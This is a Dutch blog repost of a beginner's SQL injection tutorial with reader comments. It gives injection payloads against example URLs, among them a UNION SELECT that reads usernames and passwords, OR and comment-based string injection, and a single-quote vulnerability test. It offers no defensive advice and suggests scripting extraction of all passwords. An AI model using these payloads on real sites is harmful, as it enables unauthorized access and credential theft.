Programmeertaal: Python Firewalls: IPF
Jun 02
    Change language to :

 

SQL Injection voor beginners
-door: Mark IJbema (vandread)-

-Doel van deze handleiding

Het doel van deze handleiding is om voor beginners SQL injection duidelijk te
maken.

Voor vragen en opmerkingen: mark@ijbema.xs4all.nl

-Conventies

In een url dient alles tussen accolades uri-encoded (%.. tekens) te
worden, en de accolades zelf niet gebruikt te worden, maar voor de
leesbaarheid is dat in deze tutorial dus niet gedaan (overigens doen een
hoop browsers dit automatisch voor alles behalve het ‘=’ charachter, als
je die even zelf doet (%3D) dan werkt het waarschijnlijk ook al)

-Wat is SQL

SQL is een taal om een database te benaderen. Er zijn zowel opdrachten om dingen
op te vragen als om dingen te wijzigen. Dingen opvragen doe je als volgt:

SELECT <kolommen>
FROM <tabellen>
WHERE <voorwaarden>

Dus bijvoorbeeld:

SELECT naam, beschrijving, prijs
FROM produkten
WHERE naam = ‘128MB RAM’

Waarmee je de prijs opvraagt van 128MB RAM. Omdat je echter vaak maar een
resultaat wil, en een naam niet perse uniek is gebruikt men vaak unieke
ID’s. Dus als het ID van 128MB RAM bijvoorbeeld 12 is, ziet de query (zo heet
een selectie in SQL) er als volgt uit:

SELECT naam, beschrijving, prijs
FROM produkten
WHERE id = 12

Verder heb je ook update’s en dergelijke om gegevens te wijzigen, maar het voert
te ver om er hier dieper op in te gaan.

-Gebruik van SQL vanaf websites

Stel je hebt een webpagina om van een product gegevens weer te geven. Je krijgt
nu als parameter het id van het product voor. De URL van de pagina ziet er als
volgt uit:

http://www.example.com/product.php?id=12

waarna in de PHP code het id in de query wordt verwerkt. Het id staat in $id, en
vervolgens wordt de query als volgt opgebouwd:

$query = “SELECT naam, beschrijving, prijs FROM produkten WHERE id = $id”

hetgeen als $id 12 is resulteert in:

SELECT naam, beschrijving, prijs FROM produkten WHERE id = 12

wat een mooie geldige query is.Maar men is vergeten te checken of $id wel een
nummer is en als we nu in de query 12 vervangen door iets anders wordt dat op de
plaats van 12 geplakt. Dus bijvoorbeeld:

http://www.example.com/product.php?id=onzin

levert

SELECT naam, beschrijving, prijs FROM produkten WHERE id = onzin

op, en waarschijnlijk krijg je nu een error als “onzin is not a number”. Maar je
kan dus ook de SQL aanvullen, bijvoorbeeld:

http://www.example.com/product.php?id={666666 OR id = 13}

levert op:

SELECT naam, beschrijving, prijs FROM produkten WHERE id = 666666 OR id = 13

en je krijgt nu dus produkt 13 te zien (ervan uitgaande dat 666666 geen geldig
id is).

-Union

Een van de belangrijkste technieken bij SQL injection is de UNION operator. In
het vorige voorbeeld kan je aanpassen wat je wilt, maar je krijgt als uitvoer
altijd een naam, een beschrijving en een prijs. Dit is meestal helemaal niet
interessant. Stel nu dat er in dezelfde database ook een lijst usernames,
passwords en ids staan, dan wil je juist die hebben.

Dit kan je doen met de volgende query:

SELECT username, password FROM users WHERE id = 1

er bestaat in SQL de UNION operator om queries aan elkaar te plakken, mits het
aantal kolommen van de beide queries gelijk is en de types van de resultaten ook
paarsgewijs gelijk zijn (string, int, etc.). Dus om de vorige query aan de
produkt-query toe te voegen moet er nog een extra integerkolom bij (ervan
uitgaande dat de prijs als integer in de database staat). De query met de union
erbij komt er dan als volgt uit te zien:

SELECT naam, beschrijving, prijs FROM produkten WHERE id = 12
UNION
SELECT username, password, id FROM users WHERE id = 1

door nu voor 12 een nietbestaand id te gebruiken wordt de eerste query leeg, en
bestaat het resultaat alleen uit de tweede query. Dus:

SELECT naam, beschrijving, prijs FROM produkten WHERE id = 666666
UNION
SELECT username, password, id FROM users WHERE id = 1

We verkrijgen deze query mbv de volgende URL:

http://www.example.com/product.php?id={666666 UNION SELECT username,
password, id FROM users WHERE id = 1}

Zo kunnen we dus van een user het wachtwoord uitlezen. Als je van alle
users het wachtwoord en de username wilt, kan je een scriptje schrijven
dat deze pagina ophaalt voor alle id’s, de pagina parsed, en in een
netjes formaat de output laat zien.

-Strings

Vaak worden in plaats van id’s of andere getallen ook strings
meegegeven, bijvoorbeeld:

http://www.example.com/listusers?name=mark

Geeft de lijst van alle gebruikers weer die mark heten. Dit ziet er
ongeveer zo uit intern

SELECT … FROM … WHERE … AND name=’mark’ AND …

Nu willen we niet alle gebruikers met naam ‘mark’ hebben, maar met
password ‘wachtwoord’. Dus we willen van de query het volgende maken:

SELECT … FROM …
WHERE … AND name=’onzin’ OR password = ‘wachtwoord’ AND …

Hetgeen we krijgen met de volgende url:
http://www.example.com/listusers?name={onzin’ OR password = ‘wachtwoord}

Soms is het echter handiger om het laatste deel te negeren, door er
commentaar van te maken, de query wordt dan:

SELECT … FROM …
WHERE … AND name=’onzin’ OR password = ‘wachtwoord’– AND …

En de url:
http://www.example.com/listusers?name={onzin’ OR password = ‘wachtwoord’–}

-Testen of een site vatbaar is voor SQL Injection

De simpelste manier om te testen of een site kwetsbaar is voor sql
injection is door een enkel quotje in de querystring toe te voegen in
een variabele. Als er hierdoor een database error optreed is de site
kwetsbaar. Als die niet optreedt kan het nog steeds zijn dat de site
kwetsbaar is, maar dan staat waarschijnlijk magic_quotes of iets
dergelijks aan. In dat geval kan je wel SQL injection doen, maar kan je
daarbij geen enkele quotes gebruiken.

-Afsluiting

Dit zijn grofweg wel de basistechnieken, er valt echter een heleboel
meer te doen, maar een heleboel is afhankelijk van je eigen creativiteit
en de meest handige dingetjes zijn vaak server afhankelijk (vanuit
MS-SQLServer kan je bijvoorbeeld (afhankelijk van hoe die is
geconfigureerd) emails versturen. Ik hoop dat dit voldoende is om je op
weg te helpen, de rest zou moeten lukken met genoeg creativiteit in
combinatie met scriptingskills (om dingetjes te automatiseren). Ook
interessante database specifieke eigenschappen zijn tabellen waarin de
metainformatie staat (tabelnamen, kolomnamen, etc.).

-Bronnen

http://www.hackinthebox.org/print.php?sid=6899


written by Remko

4 Responses to “SQL Injection voor beginners”

  1. kevin Says:

    leuk allemaal maar je uitleg zuigt wel super hard. SELECT dit dat etc .. maar waar moet je het nu invullen.. tja vergeten te zegen zeker. vind het persoonlijk best waardeloos en ik heb er niet echt iets aan gehad.

  2. Remko Says:

    Hallo Kevin,

    Bedankt voor de feedback, als je suggesties hebt over wat er precies aangepast moet worden dan zal ik daarvoor zorgdragen, maar tot heden is je feedback niet heel erg informatief (behalve dan dat je er weinig aan had in jouw geval). In mijn ogen is de documentatie ook een leidraad, en geen 100% cover om hoe je zelf SQL injection moet uitvoeren..

    Groet,
    Remko

  3. Marco Says:

    Hoi Remko,
    Goede tekst, leuke uitleg vanSQL. Ik heb een vraag en misschien kan jij die beantwoorden.
    Ik maak een selectie in SQL, maar krijg dan verschillende antwoorden terug waarbij de antwoorden niet uniek zijn. Graag wil ik een antwoord waarbij alles uniek is, wat voor voorwaarde moet ik dan meegeven aan de select?

    Bedankt alvast.

    Groet Marco

  4. Troy Management Says:

    Wel lastig te begrijpen de uitleg, maar toch wel handig…

    Ik zal het zeker eens gaan uit proberen..

Leave a Reply